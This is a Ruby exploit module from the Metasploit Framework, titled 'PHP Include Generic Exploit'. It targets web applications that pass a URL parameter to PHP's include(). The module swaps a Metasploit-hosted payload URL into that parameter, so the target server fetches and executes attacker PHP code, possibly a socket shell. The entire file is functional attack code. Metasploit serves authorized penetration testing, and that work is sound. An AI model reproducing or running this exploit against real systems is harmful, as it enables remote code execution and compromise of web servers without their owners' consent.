metasploit-framework/modules/exploits/unix/webapp/php_include.rb

66 lines
1.6 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Exploits::Unix::Webapp::PHP_INCLUDE < Msf::Exploit::Remote
include Exploit::Remote::Tcp
include Exploit::Remote::HttpClient
include Exploit::Remote::HttpServer::PHPInclude
def initialize(info = {})
super(update_info(info,
'Name' => 'PHP Include Generic Exploit',
'Description' => %q{
Exploits things like <?php include($_GET['path']); ?>
},
'Author' => [ 'hdm' , 'egypt <egypt@nmt.edu>'],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 32768,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0))
register_options(
[
OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/test.php?path=!URL!"]),
], self.class)
end
def php_exploit
# very short timeout because the request may never return if we're
# sending a socket payload
timeout = 0.01
uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.uri_encode(php_include_url))
print_status("Trying uri #{uri}")
response = send_request_raw({ 'uri' => uri },timeout)
end
end
end